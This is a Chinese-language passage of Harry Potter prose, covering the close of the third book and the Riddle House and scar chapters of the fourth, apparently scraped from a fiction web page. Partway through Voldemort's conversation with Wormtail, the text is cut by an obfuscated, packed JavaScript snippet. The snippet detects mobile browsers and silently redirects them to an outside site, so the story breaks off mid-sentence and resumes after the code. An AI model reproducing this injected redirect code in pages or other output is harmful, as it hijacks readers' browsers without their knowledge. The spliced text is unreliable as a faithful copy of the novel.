我,小天狼星布莱克,哈利·波特的教父,特此同意他周末去霍格莫德村。 “对邓布利多来说,这就够好的了!”哈利快乐地说。 他又去看小天狼星的信。“等一等,还有附言呢...” 我想你的朋友罗恩也许会愿意养这只猫头鹰,因为由于我的过失,他失去了那只耗子。 罗恩的眼睛睁大了。那只小猫头鹰仍旧在兴奋地啼叫。 “养它?”他没有把握地说。他仔细看那猫头鹰,看了一会儿,然后,让哈利和赫敏大为惊讶的是,他把它拿给克鲁克山去嗅。 “你认为怎么样?”罗恩问那猫,“可以肯定是只猫头鹰吗?” 克鲁克山满足地呜呜叫着。 “这对我够好的了,”罗恩快乐地说,“它是我的了。” 在回到国王十字车站的途中,哈利把小天狼星的信读了又读。 他、罗恩和赫敏走下站台的时候,这封信仍旧紧握在他手里。 哈利马上就看见了弗农姨父。弗农姨父站的地方离韦斯莱先生和韦斯莱太太相当远,还狐疑地打量着他们。 韦斯莱太太拥抱哈利表示欢迎的时候,他对他们的猜疑似乎得到了证实。 “世界杯的时候我会打电话的!”罗恩在哈利身后大叫,这时哈利正向他和赫敏道别。然后推着放箱子和海德薇笼子的行李车向弗农姨父走去,弗农姨父以惯常的方式迎接他。 “那是什么?”他咆哮道,瞪着哈利还捏在手里的信封。“如果那又是要我签名的表格,那你一定要...” “不是表格,”哈利高兴地说,“是我教父写来的信。” “教父?”弗农姨父唾沫星子飞溅地说,“你可没有什么教父!” “不,我有,”哈利欢快地说,“他是我妈和我爸最好的朋友。他是判了罪的谋杀犯,不过他逃出了魔法监狱,现在还在逃。他愿意和我保持联系,通过...一直了解我的情况...看看我是否快乐...” 哈利看着弗农姨父一脸恐怖的表情,笑得前仰后合。他推着行李车走向车站出口,海德薇在他前面轻捷地飞着,一起去过一个,看起来会比去年好得多的夏季。 62.里德尔府 小汉格顿的村民们仍然把这座房子称为“里德尔府”,尽管里德尔一家已经多年没在这里居住了。 房子坐落在一道山坡上,从这里可以看见整个村子。房子的几扇窗户被封死了,房顶上的瓦残缺不全,爬山虎张牙舞爪地爬满了整座房子。 里德尔府原先是一幢很漂亮的大宅子,还是方圆几英里之内最宽敞、最气派的建筑,如今却变得潮湿、荒凉,常年无人居住。 小汉格顿的村民们一致认为,这幢老房子“怪吓人的”。 半个世纪前,这里发生了一件离奇而可怕的事,直到现在,村里的老辈人没有别的话题时,还喜欢把这件事扯出来谈论一番。这个故事被人们反复地讲,许多地方又被添油加醋,所以真相到底如何,已经没有人说得准了。不过,故事的每一个版本都是以同样的方式开头的:五十年前,里德尔还是管理有方、气派非凡的时候,在一个晴朗夏日的黎明,一个女仆走进客厅,发现里德尔一家三口都气绝身亡了。 女仆一路尖叫着奔下山坡,跑进村里,尽量把村民们都唤醒。 “都躺着,眼睛睁着大大的!浑身冰凉!还穿着晚餐时的衣服!” 警察被叫来了,整个小汉格顿村都沉浸在惊讶好奇之中,村民们竭力掩饰内心的兴奋,却没有成功:没有人浪费力气,假装为德里尔一家感到悲伤,因为他们在村子里人缘很差。老夫妇俩很有钱,但为人势利粗暴,他们已经成年的儿子汤姆,说起来你也许不信,竟比父母还要坏上几分。村民们关心的是凶手究竟是何许人——显然,三个看上去十分健康的人,是不可能在同一个晚上同时自然死亡的。 那天夜里,村里的吊死鬼酒馆生意格外兴隆,似乎是全村的人都跑来谈论这桩谋杀案了。他们舍弃了家里的火炉,并不是一无所获,因为里德尔家的厨娘戏剧性地来到他们中间,并对突然安静下来的酒馆顾客们说,一个名叫弗兰克·布莱斯的男人刚刚被逮捕了。 “弗兰克!”几个人喊了起来,“不可能!” 弗兰克·布莱斯是里德尔家的园丁。他一个人住在里德尔庄园上的一间破破烂烂的小木屋里。 弗兰克当年从战场上回来,一条腿僵硬得不听使唤,并且对人群和噪音极端反感,此后就一直为里德尔家干活。 酒馆里的人争先恐后地给厨娘买酒,想听到更多的细节。 “我早就觉得他怪怪的,”厨娘喝下第四杯雪利酒后,才告诉那些眼巴巴洗耳恭听的村民们,“冷冰冰的,不爱搭理人。我相信,如果我要请他喝一杯茶,非得请上一百遍他才答应。他从来不喜欢跟人来往。” “唉,怎么说呢,”吧台旁边的一个女人说,“弗兰克参加过残酷的战争。他喜欢过平静的生活,我们没有理由——” “那么,还有谁手里有后门的钥匙呢?”厨娘粗声大气地说,“我记得,有一把备用钥匙一直挂在园丁的小木屋里!昨晚,没有人破门而入!窗户也没有被打坏!弗兰克只要趁我们都睡着的时候,偷偷溜进大宅子......” 村民默默地交换着目光。 “我一直觉得他那样子特别讨厌,真的。”吧台旁边的一个男人嘟囔着说。 “要是让我说呀,是战争把他变得古怪了。”酒馆老板说。 “我对你说过,我可不愿意得罪弗兰克,是吧,多特?”角落里一个情绪激动的女人说。 “脾气糟透了。”多特热烈地点着头,说道,“我还记得,他小的时候......” 第二天早晨,小汉格顿镇上,在昏暗、阴沉的警察局里,弗兰克固执地一遍又一遍地重复他是无辜的。他说,在里德尔一家死去的那天,他在宅子附近见到的唯一的人是一个他不认识的十多岁男孩,那男孩头发黑黑的,脸色苍白。村里的其他人都没有见过这样一个男孩,警察们认定这是弗兰克凭空编造的。 就在形势对弗兰克极为严峻的时候,里德尔一家的尸体检验报告回来了,一下子扭转了整个局面。 警察从没见过比这更古怪的报告了。一组医生对尸体作了检查,得出的结论是:里德尔一家谁也没有遭到毒药、利器、手枪的伤害,也不是被闷死或勒死的。实际上(报告以一种明显困惑的口气接着写道),里德尔一家三口看上去都很健康——只除了一点,他们都断了气儿。 医生们倒是注意到(似乎他们决意要在尸体上找出点儿不对劲的地方),里德尔家的每个人脸上都带着一种惊恐的表情——可是正如已经一筹莫展的警察所说,谁听说过三个人同时被吓死的呢? 既然没有证据证明里德尔一家是被谋杀的,警察只好把弗兰克放了出来。里德尔一家就葬在小汉格顿的教堂墓地里,在其后一段时间里,他们的坟墓一直是人们好奇关注的对象。使大家感到惊讶和疑虑丛生的是,弗兰克·布莱斯居然又回到了里德尔庄园他的小木屋里。 “我个人认为,是弗兰克杀死了他们,我才不管警察怎么说呢。”多特在吊死鬼酒馆里说,“如果他稍微知趣一些,知道我们都清楚他的所作所为,他就会离开这里。” 但是弗兰克没有离开,他留了下来,为接下来往在里德尔府的人照料园子,然后又为再下面的一家干活——这两家人都没有住很长时间。新主人说,也许一部分是因为弗兰克的缘故吧,他们总觉得这地方有一种阴森吓人的感觉。 后来由于无人居住,宅子渐渐失修,变得破败了。 最近拥有里德尔庄园的那个富人,既不住在这里,也不把宅子派什么用场。村里的人说,他留着它是为了“税务上的原因”,但谁也不清楚到底是怎么回事。不过,这位富裕的宅主继续花钱雇弗兰克当园丁。 弗兰克如今快要过他七十七岁的生日了,他耳朵聋得厉害,那条坏腿也比以前更加僵硬了,但天气好的时候,人们仍然能看见他在花圃里磨磨蹭蹭地干活,尽管杂草在向他身边悄悄蔓延,他想挡也挡不住。 况且,弗兰克要对付的不仅是杂草——村子里的男孩总喜欢往里德尔府的窗户上扔石头。弗兰克费了很大心血才保持了草地的平整,他们却骑着自行车在上面随意碾踏。 有一两次,他们为了互相打赌,还闯进了老宅。 他们知道老弗兰克一心一意地护理宅子和庭园,几乎到了一种痴迷的程度,所以他们相当乐意看到他一瘸一拐地穿过园子,挥舞着拐杖,用沙哑的嗓子朝他们嚷嚷,每当这时,他们就觉得特别开心。 弗兰克呢,他相信这些男孩之所以折磨他,是因为他们和他们的父母、祖父母一样,认为他是一个杀人犯。因此,在那个八月的夜晚,当弗兰克一觉醒来,看见老宅上面有异常的动静时,还以为是那些男孩又想出了新的花招来惩罚他了。 弗兰克是被那条坏腿疼醒的,如今他上了年纪,腿疼得越发厉害了。他从床上起来,瘸着腿下楼走进厨房,想把热水袋灌满,暖一暖他僵硬的膝盖。他站在水池边,往水壶里灌水,一边抬头朝里德尔府望去,他看见楼上的窗户闪着微光。弗兰克立刻就明白了是怎么回事:那些男孩又闯进老宅了,那微光闪闪烁烁,明暗不定,看得出他们还生了火。 弗兰克屋里没有装电话,自从当年为了里德尔一家猝死的事,警察把他带去审问之后,他就对警察有了一种深深的不信任感。他赶紧把水壶放下,拖着那条坏腿,尽快地返回楼上,穿好衣服,旋即又回到厨房。他从门边的钩子上取下那把锈迹斑斑的旧钥匙,拿起靠在墙边的拐杖,走进了夜色之中。 里德尔府的前门没有被人强行闯入的迹象,窗户也完好无损。弗兰克一瘸一拐地绕到房子后面,停在一扇几乎完全被爬山虎遮住的门边,掏出那把旧钥匙,插进锁孔,无声地打开了门。 弗兰克走进洞穴般幽暗的大厨房,他已经很多年没有进来过了。不过,尽管四下里漆黑一片,他仍然记得通往走廊的门在哪里。他摸索着走过去,一股腐烂的味儿扑鼻而来。他竖起耳朵,捕捉着头顶上的每一丝脚步声或说话声。他来到走廊,这里因为有前门两边的大直棂窗,多少透进一点儿光线。 他开始上楼,一边心想多亏石阶上积着厚厚的灰尘,使他的脚步声和拐杖声发闷,不易被人察觉。 在楼梯平台上,弗兰克向右一转,立刻看到了闯入者在什么地方。就在走廊的顶端,一扇门开着一道缝,一道闪烁的微光从门缝里射了出来,在黑乎乎的地板上投出一道橙黄色的光影。弗兰克侧着身子,小心地一点点靠近,手里紧紧攥着拐杖。在离门口几步远的地方,他可以看见房间里窄窄一条缝中的情景。 他现在看到了,那火是生在壁炉里的。这使他感到很意外。他停住脚步,竖起耳朵,只听见房间里传来一个男人的说话声,那声音显得胆怯、害怕。 “瓶子里还有呢,主人,如果您还饿,就再喝一点儿吧。” “待一会儿吧。”又一个声音说。这也是一个男人——但嗓音却尖得奇怪,而且像寒风一样冰冷刺骨。不知怎的,这声音使弗兰克脖子后面稀少的头发都竖了起来。“把我挪到炉火边去,虫尾巴。” 弗兰克把右耳贴到门上,想听得更清楚些。房间里传来一声瓶子放在某个坚硬的东西上的当啷声,然后是一把重重的椅子在地板上拖过时发出的刺耳的摩擦声。弗兰克瞥见一个小个子男人,背对着门,正在推动一把椅子。他穿着一件长长的黑斗篷,后脑勺上秃了一块。随后,他又不见了。 “纳吉尼在哪儿?”那个冰冷的声音问。 “我——我不知道,主人。”第一个声音紧张地说,“我想,它大概在房子里到处看看......” “我们睡觉前,你喂它一次牛奶,虫尾巴。”第二个声音说,“我夜里还需要吃一顿。这一路上可把我累坏了。” 弗兰克皱紧眉头,又把那只好耳朵往门上贴了贴,使劲儿听着。房间里静了片刻,然后那个被称作虫尾巴的人又说话了。 “主人,我能不能问一句,我们要在这里待多久?” “一个星期,”那个透着寒意的声音说,“也许还要更长。这地方还算舒适,而且那计划还不能实施呢。在魁地奇世界杯结束前就草率行事是不明智的。” 弗兰克用一根粗糙的手指伸进耳朵,转了几下。肯定是耳垢积得太多了,他居然听见了“魁地奇”这样一个怪词,根本就不成话儿。 “魁——魁地奇世界杯,主人?”虫尾巴说。(弗兰克用手指更使劲地掏他的耳朵。)“请原谅,可是我——我不明白——我们为什么要等到世界杯结束呢?” “傻瓜,因为在这个时候,巫师们从世界各地涌进这个国家,魔法部那些爱管闲事的家伙全部出动了,他们站岗放哨,注意有没有异常的活动,反复盘查每个人的身份。他们一门心思就想着安全、安全,生怕麻瓜们注意到什么。所以我们必须等待。” 弗兰克不再掏耳朵了。他准确无误地听见了“魔法部”、“巫师”和“麻瓜”这些字眼。显然,这些词都具有神秘的含义,而据弗兰克所知,只有两种人才会说暗语:密探和罪犯。弗兰克更紧地攥住拐杖,更凝神地听着。 “这么说,主人的决心仍然没变?”虫尾巴轻声地问。 “当然没变,虫尾巴。”那个冰冷的声音里现在带着威胁的口气了。 之后是片刻的沉默——然后虫尾巴说话了,他的话像湍急的河水一样从嘴里涌了出来,似乎他在强迫自己在没有丧失勇气前把话说完。 “没有哈利·波特也能办成,主人。” 又是沉默,比刚才延续的时间更长,然后—— “没有哈利·波特?”第二个声音轻轻地问。“我明白......” “主人,我说这话不是因为关心那个男孩!”虫尾巴说,他的声音突然抬高了,变得尖利刺耳。“我才不在乎那个男孩呢,根本不在乎!我只是想,如果我们使用另外的巫师——不管是男是女——事情就可以速战速决了!如果您允许我离开您一小会儿——您知道我可以随心所欲地伪装自己——我两天之内就回到这里,带回一个合适的人选——” “我可以使用另外的巫师,”那个冰冷的声音轻轻地说,“这主意不错......” “主人,这是合乎情理的。”虫尾巴说,口气舒缓多了,“要去加害哈利·波特太困难了,他现在受到了严密的保护——” “所以你主动提出,要给我找一个替代品来?我猜想......也许这份伺候我的工作已经使你厌烦了,是吗,虫尾巴?你建议放弃原计划,是不是只想抛弃我呢?” “主人!我——我没有要离开您的意思,压根儿没有——” “不要对我撒谎!”第二个声音嘶嘶地说,“我什么都清楚,虫尾巴!你一直在后悔回到我这里来。我使你感到厌恶。我看得出你一看见我就畏缩,我感觉到你一碰到我就全身发抖......” “不是这样!我对主人忠心耿耿——” “什么忠心耿耿,你只是胆小罢了。如果你有别的地方可去,你决不会到这里来的。而我呢,我每隔几小时就需要你喂我,离开你我怎么活得下去?谁给纳吉尼喂奶呢?” “可是您显得强壮多了,主人——” “说谎,”第二个声音轻轻地说,“我没有强壮起来,几天工夫就会夺走我在你马马虎虎的照料下恢复的一点儿元气。别出声!” 正在结结巴巴、语无伦次地说着什么的虫尾巴,这时立刻沉默下来。在那几秒钟内,弗兰克只能听见火苗噼里啪啦燃烧的声音。然后,第二个声音又说话了,声音很低很低,像是从喉咙里发出的嘶嘶声。 “我使用那个男孩自有我的道理,我已经向你解释过了,我不会使用其他人的。我已经等了十三年了,再多等几个月也无妨。至于那个男孩受到的严密保护,我相信我的计划会起作用的。现在就需要你有一点儿勇气,虫尾巴——你得有勇气,除非你希望感受一下伏地魔是如何大发雷霆的——” “主人,请让我说一句!”虫尾巴说,声音里带着恐慌,“在我们这一路上,我脑子里反复盘算着那个计划——主人,伯莎·乔金斯的失踪很快就会引起人们的注意,如果我们再干下去,如果我杀死了——” “如果?”第二个声音耳语般地说,“如果?如果你按我的计划行事,虫尾巴,魔法部永远不会知道还有谁死了。你悄悄地去做,不要大惊小怪。我真希望我能亲自动手,可是按我目前的状况......过来,虫尾巴,只要再死一个人,我们通往哈利·波特的道路上就没有障碍了。我并没有要求你独自行动。到那时候,我忠实的仆人就会加入我们——” “我就是一个忠实的仆人。”虫尾巴说,他声音里含着一丝淡淡的不快。 “虫尾巴,我需要一个有脑子的人,一个对我绝对忠诚、从不动摇的人,而你呢,很不幸,这两个条件都不符合。” “是我找到您的,”虫尾巴说,声音里带着明显的恼怒,“是我把您找到的,是我把伯莎·乔金斯给您带来的。” “那倒不假,”第二个男人用打趣般的口吻说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568569|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真没想到你还能说出这么聪明的话来,虫尾巴——不过,说句实话,你把那女人抓来时,并没有意识到她是多么有用,对不对?” “我——我知道她会有用的,主人——” “撒谎,”第二个声音又说道,那种冷冰冰的打趣口吻更明显了,“不过,我不否认她提供的情报很有价值。要不是那个情报,我就不可能想出我们的计划,这个嘛,虫尾巴,你自会得到奖赏的。我允许你为我完成一件十分重要的任务,那是我的许多追随者都争先恐后要去完成的......” “是——是吗,主人?什么——”虫尾巴的声音又变得恐慌起来。 “啊,虫尾巴,你难道想破坏这份意外之喜吗?最后才轮到你出场呢......不过我向你保证,你将有幸和伯莎·乔金斯一样有用。” “您......您......”虫尾巴的声音突然沙哑了,他的嘴似乎变得很干,“您......您想......把我也杀掉?” “虫尾巴,虫尾巴,”那个冰冷的声音圆滑地说,“我为什么要杀了你呢?我杀死伯莎·乔金斯是因为迫不得已。在我审问完之后,她就没有用了,完全没有用了。不管怎样,如果她带着假期里遇见你的消息回到魔法部,人们就会提出许多令人尴尬的问题。原本应该死了的巫师,是不应该在路边的小客栈里遇见魔法部的女巫师的......” 虫尾巴又嘟囔了几句什么,声音太低,弗兰克没有听清,但他的话使第二个男人哈哈大笑起来——这是一种十分阴险的笑,跟他说的话一样寒气逼人。 “我们本可以篡改她的记忆是不是?可是碰到一个功力强大的巫师,遗忘咒就不起作用了,这一点我在审问她时已经得到了证实。不使用一下我从她那里得到的情报,这对她的记忆也是一种侮辱啊,虫尾巴。” 在外面的走廊里,弗兰克突然意识到自己攥着拐杖的手已经被汗水湿透了。冰冷嗓音的男人杀死了一个女人。他谈论这件事的时候,没有一丝一毫的悔意——用的是一种打趣的口吻。这个人很危险——是一个亡命之徒。他还在计划杀死更多的人——那个男孩,名叫哈利·波特的,不知道是谁——现在正在危险中—— 弗兰克知道他必须做什么了。这个时候非找警察不可了。他要偷偷溜出老宅,径直奔向村里的电话亭......可是那个冰冷的声音又说话了,弗兰克待在原地,像是被冻僵了一样,拼命集中精力听着。 “再杀死一个人......我在霍格沃茨的忠实仆人......哈利·波特注定要完蛋了,虫尾巴。就这么定了,没什么可说的。慢着,你别做声......我好像听见了纳吉尼的声音......” 这时,第二个男人的声音变了,他发出一些弗兰克从未听见过的声音。他不歇气地发出嘶嘶声和呼噜呼噜的声音。弗兰克认为他一定是发病了。 就在这时,弗兰克听见身后漆黑的直言里传来了动静。他转身一看,顿时吓得呆在了那里。 什么东西窸窸窣窣地滑过漆黑的地板朝着他过来了。当那东西渐渐接近门缝里射出的那道壁炉的火光时,他惊恐万状地发现,那是一条巨蛇,至少有十二英尺长。 弗兰克吓得呆若木鸡,站在那里望着它波浪般起伏的身体,在地板上厚厚的灰尘中留下蜿蜒曲折的、宽宽的轨迹,慢慢地越来越近——他怎么办呢?他要逃也只能逃进那两个男人正在密谋杀人的那个房间,可是如果待在原地,这条蛇肯定会把他咬死—— 还没等他拿定主意,巨蛇已经横在他的面前,然后又神奇地、令人不可思议地滑了过去。它听从门后面那个冰冷的嘶嘶、呼噜呼噜声的召唤,几秒钟后,它那钻石图案的尾巴就从门缝里消失了。 这时,弗兰克额头上已渗出了汗珠,抓着拐杖的手抖个不停。房间里,那冰冷的嗓音继续嘶嘶响着,弗兰克突然产生了一个奇怪的想法,一个荒唐的想法......那个人能跟蛇说话。 弗兰克不明白这一切到底是怎么回事。现在他最渴望的就是抱着热水袋回到床上。问题是他的双腿似乎不愿挪动。 他站在那里,浑身瑟瑟发抖。他努力控制住自己。就在这时,那冰冷的声音猛地又说起了人话。 “纳吉尼带回一个有趣的消息,虫尾巴。”那声音说。 “是——是吗,主人?”虫尾巴说。 “当然是。”那个声音说,“据纳吉尼说,有一个老麻瓜,现在就站在这个房间外面,一字不漏地听着我们说话。” 弗兰克没有机会躲藏了,里面传来脚步声,随即房门一下子被打开了。 弗兰克面前站着一个秃顶的矮个子男人,花白的头发、尖尖的鼻子,一双小眼睛水汪汪的,脸上带着既恐惧又担忧的表情。 “请他进来,虫尾巴。你怎么不懂礼貌呢?” 那冰冷的声音是从壁炉前的那把古老的扶手椅里发出来的,但弗兰克看不见说话的人。而那条蛇已经盘踞在壁炉前破烂的地毯上,如同在模仿一只哈巴狗,模样十分狰狞。 虫尾巴示意弗兰克进屋。弗兰克尽管全身颤抖得厉害,还是攥紧拐杖,一瘸一拐地迈过了门槛。 炉火是房间是唯一的光源,它把长长的、蛛网状的影子投到了墙上。弗兰克盯着扶手椅的背后,坐在里面的人似乎比他的仆人虫尾巴还要矮小,弗兰克甚至看不见他的后脑勺。 “你什么都听见了,麻瓜?”那冰冷的声音问。 “你叫我什么?”弗兰克强硬地说,现在既然进了房间,既然必须采取行动,他的胆子反倒大了起来。在战场上经常就是这样的情况。 “我叫你麻瓜,”那声音冷冷地说,“就是说,你不是个巫师。” “我不知道你说的巫师是什么意思。”弗兰克说,他的声音越来越平稳了,“我只知道,今晚我听到的东西足以引起警察的兴趣。你们杀了人,还在策划着要杀更多的人!我还要告诉你们,” 他突然灵机一动,说道,“我老伴知道我上这儿来了,如果我不回去——” “你没有老伴,”那冰冷的声音慢条斯理地说,“没有人知道你在这儿。你没有对别人说过你上这儿来了。麻瓜,不要对伏地魔大人说谎,他什么都知道......什么都知道......” “你说什么?”弗兰克粗暴地说,“大人,是吗?哼,我认为你的风度可不怎么样,我的大人!你为什么不像个男人一样,把脸转过来看着我呢?” “因为我不是个人,麻瓜,”那冰冷的嗓音说,声音很低,几乎被炉火的噼啪声盖住了,“我比人厉害得多。不过......好吧!我就面对你一下......虫尾巴,过来把我的椅子转一转。” 仆人发出一声呜咽。 “你听见没有,虫尾巴!” 小个子男人愁眉苦脸,仿佛他最不愿做的事就是走近他的主人,走近那条蛇盘踞的地毯。他慢慢地走上前,开始转动扶手椅。椅腿撞在地毯上时,巨蛇昂起它丑陋的三角形脑袋,发出轻微的嘶嘶声。 现在,椅子面对着弗兰克了,他看见了里面坐着的是什么。拐杖啪哒一声掉在地上。他张开嘴,发出一声声凄厉的喊叫。他喊叫的声音太响了,没有听见椅子里那个家伙举起一根棍子时嘴里说了些什么,而且永远也不会听见了。 一道绿光闪过,一阵嗖嗖的声音响起,弗兰克·布莱斯瘫倒在地。在倒地之前,他就已经死了。 两百英里之外,那个名叫哈利·波特的男孩猛地从梦中惊醒。 63.伤疤 哈利直挺挺地躺在床上,呼哧呼哧地喘着粗气,好像刚才一直在奔跑似的。 他从一个非常逼真的梦中惊醒,双手紧紧地按在脸上。在他的手指下面,那道闪电形的伤疤火辣辣地痛着,仿佛有人刚将一根白热的金属丝按压在他的皮肤上。 他坐了起来,一只手捂着伤疤,另一只手在黑暗中摸索着去拿床头柜上的眼镜。他戴上眼镜,卧室里的景物慢慢变得清晰起来,窗外街灯的灯光透过窗帘,给卧室罩上了一层朦朦胧胧的橙红色柔光。 哈利又用手指抚摸着伤疤,仍然疼得厉害。他打开身边的台灯,翻身下床,穿过房间,打开衣柜,朝柜门内侧的镜子望去。镜子里一个瘦瘦的十四岁男孩在看着他,乱蓬蓬的黑头发下面是一对绿莹莹的、充满困惑的眼睛。哈利更仔细地端详着镜子里他额头上的伤疤,看不出有什么异常,可是仍然钻心地疼。 哈利竭力回忆刚才梦中的情景。一切都是那么逼真......有两个人他认识,还有一个他不认识......他皱紧眉头,集中思想,拼命回忆着...... 他眼前模模糊糊地浮现出一个昏暗的房间......壁炉前的地毯上卧着一条蛇......一个小个子的男人名叫彼得,外号虫尾巴......还有一个冷冰冰的、尖利的声音......那是伏地魔的声音。哈利一想到这个家伙,就觉得仿佛有一块冰滑进了胃里...... 他紧紧闭上眼睛,竭力回忆伏地魔的模样,可是无法做到......哈利只知道,当伏地魔的椅子一转过来,当他——哈利——看出那里面坐的是什么时,他只感到一阵巨大的恐惧,猛地惊醒过来......也许,那是因为他的伤疤突然剧痛起来? 还有,那个老人是谁呢?当时肯定有一个老人,哈利看见他跌倒在地上。 唉,越来越乱了。哈利把脸埋在手里,不让自己看见卧室的景物,拼命沉浸于那个光线昏暗的房间,然而,这就像试图用双手把水兜住,他越是拼命想抓住那些细节,它们就越是迅速地从他的指缝里溜走了......伏地魔和虫尾巴刚才谈到他们杀死了一个人,然而哈利记不得那个名字了......他们还在策划杀死另一个人......那就是他! 哈利把脸从手上抬起来,睁开眼睛,使劲盯着卧室四周,好像以为会看见什么不寻常的东西。确实,房间里有满满当当一大堆不寻常的东西。在他的床脚旁有一个大木箱子,敞开着,露出里面的坩埚、飞天扫帚、黑袍子和各种各样的咒语书,那是哈利昨晚临睡前看的。这本书上的图画都在动个不停,穿着鲜艳的橙红色袍子的小伙子们骑在飞天扫帚上,嗖嗖地飞来飞去,相互掷着一个红色的球。 哈利走过去,把书捡了起来,注视着一个巫师把球投进五十英尺高的圆环,十分漂亮地赢得了一分。随即,哈利又猛地把书合上了。魁地奇比赛,在哈利看来,是世界上最精彩的运动,可是此刻也不能吸引他的注意力了。 他把那本叫《和火炮队一起飞翔》的书放在床头柜上,走到窗前,拉开窗帘,望着下面的街道。 看上去,女贞路完全符合一条令人尊敬的郊区街道,在星期天凌晨所应该呈现的样子。街道两边的窗帘都拉得严严实实。哈利在黑暗中望过去,看不见一个活物,连一只小猫的影子也没有。 然而......然而......哈利心神不宁地回到床边,坐了下来,又伸出一根手指抚摸着他的伤疤。 令他烦恼的不是伤疤的疼痛,哈利对疼痛和受伤已经习以为常。 有一次,他右臂里所有的骨头都没有了,可又在一夜之间全部长好了,那真是钻心的疼啊。在这之后不久,还是这条胳膊,又被一只尺把长的毒牙刺伤。就在去年,哈利飞到五十英尺高的空中时,还从飞行着的扫帚上坠落下来。对他来说,稀奇古怪的事故和伤痛已经是家常便饭。既然你进了霍格沃茨,并且擅长招惹是非,就绝对无法避免这些事故和伤痛。 上一次伤痛发作是因为伏地魔就在附近,正是这一点使哈利感到不安......此刻伏地魔不可能在这里......伏地魔会潜伏在女贞路?这种想法太荒唐了,绝对不可能...... 哈利在一片寂静中凝神倾听。难道他会听见楼梯上传来吱吱呀呀的声音,或听见斗篷在地板上拖曳的沙沙声?突然,他微微吃了一惊,他听见表哥达力在隔壁房间发出一声吓人的鼾声。 哈利慢慢鼓起勇气。他真是太傻了。整个房子里,和他住在一起的只有弗农姨父、佩妮姨妈和达力。他们显然都在酣睡,美美地做着梦,没有受到任何干扰。 哈利最喜欢的就是德思礼一家睡着的时候。这并不是说他们会对醒着的他有什么帮助。 弗农姨父、佩妮姨妈和达力是哈利仅有的在世的亲戚。他们都是麻瓜,憎恨和蔑视任何形式的魔法,这就意味着哈利在他们家里就像霉菌一样不受欢迎。在过去的三年里,哈利到霍格沃茨上学,长期不在家,他们为了消除别人的疑虑,总是解释说哈利去了专门关押不可救药少年犯的圣布鲁斯管教所。 他们明明知道,哈利作为一个未成年巫师,是不允许在霍格沃茨以外的地方使用魔法的,可每当家里出了什么乱子,他们还总把责任推到他身上。哈利从来没法对他们说说知心话,也不能告诉他们他在魔法世界里生活的详细情况。想一想,等他们醒了,他去对他们说他的伤疤疼痛发作,并说他担心伏地魔潜伏在附近,这岂不太可笑了吗! 说到根本上,正是由于伏地魔,哈利才到这里跟德里礼一家生活的。如果没有伏地魔,哈利的额头上就不会有闪电形的伤疤。如果没有伏地魔,哈利的爸爸妈妈就会依然活着...... 哈利刚刚一岁的时候,有一天夜里,伏地魔——这个一百年来最强大的黑巫师,这个花费十一年的时间扩展其势力范围的大巫师,闯到哈利家里,杀死了哈利的父母。然后,伏地魔把他的魔杖指向哈利,念了一个咒语——在伏地魔的力量不断发展壮大的过程中,这个咒语曾将许多成年巫师置于死地,然而那天夜里,它却莫名其妙地失灵了。咒语并没有结果小男孩的性命,而是反弹到伏地魔身上。 哈利安然无恙,只是额头上留下了一道闪电形的伤疤,而伏地魔却沦为一种半死不活的状态。他的魔法全废了,生命危在旦夕。 伏地魔逃跑了,长久以来笼罩着魔法世界的恐惧消除了,伏地魔的追随者们作鸟兽散,哈利·波特一夜之间名闻遐迩。 哈利长到十一岁的时候,突然发现自己是个巫师,当时他真是大吃一惊。接着他又发现,在神秘的魔法世界里,人人都知道他的名字,这就更使他感到不知所措了。 哈利来到霍格沃茨后,不管走到哪里,都会发现人们转过脸来看他,压低声音讨论他。不过,他现在对这一切已经习以为常:过完这个夏天,他就要在霍格沃茨上四年级了。哈利已经迫不及待地想回到那座城堡中去。 可是离开学还有整整两个星期呢。他无奈地又望了望自己的卧室,目光落在两张生日卡片上,那是他最要好的两个朋友在七月底寄给他的。如果哈利给他们写信,对他们说他的伤疤疼了起来,他们会怎么说呢? 立刻,他脑子里似乎充满了赫敏·格兰杰的声音:咋咋呼呼,大惊小怪。 “你的伤疤疼?哈利,那可不是一般的事儿......快写信告诉邓布利多!我去查一查《常见魔法病痛》......也许书里会谈到魔咒伤疤......” 没错,赫敏肯定会这样建议:赶紧去找霍格沃茨的校长,同时在一本书里查找答案。 哈利凝望着窗外沉甸甸的深蓝色夜空。现在书本能够给他帮助吗?他感到怀疑。 据他所知,经历了伏地魔那样的咒语而活下来的只有他一个人。因此,他不可能看到他的症状列举在《常见魔法病痛》里。那么要不要告诉校长呢?可是哈利压根儿就不知道邓布利多暑假去了哪里。哈利津津有味的幻想着有着一把银白胡子的邓布利多:穿着长长的巫师袍,戴着尖顶帽,躺在什么地方的海滩上,往自己长长的鹰钩鼻子上抹防晒油。不过哈利知道,邓布利多哪怕走到天涯海角,海德薇也有办法找到他。哈利的这只猫头鹰神通广大,还从来没有它送不到的信,即便没有地址也不要紧。问题是这封信怎么写呢? 亲爱的邓布利多教授, 很抱歉打扰你,可是我的伤疤今天早晨疼了起来。 你忠实的哈利·波特 太荒唐了,这些话别说写下来,就是在脑子里想想都是可笑的。 接着,他又试着想象他另一个最要好的朋友罗恩·韦斯莱的反应。立刻,哈利眼前就浮现出罗恩的那一头红发,那一张鼻子长长的雀斑脸,脸上带着一种茫然困惑的表情。 “你的伤疤疼?可是......可是,神秘人现在不可能接近你啊,是不是?我是说......你知道的,对吗?说不定他又要来害你了,会不会?我不知道,哈利,也许魔咒伤疤总是有点疼的......我去问问我爸......” 韦斯莱先生是一位完全合格的巫师,在魔法部禁止滥用麻瓜物品司工作,但是就哈利所知,他对咒语的问题并不内行。而且,不管怎么说,哈利可不希望韦斯莱一家都知道他,哈利,为了片刻的疼痛而惊慌失措。韦斯莱夫人比赫敏还要大惊小怪,还有弗雷德和乔治——罗恩那一对十六岁的双胞胎哥哥,他们肯定会认为哈利变成一个胆小鬼了。 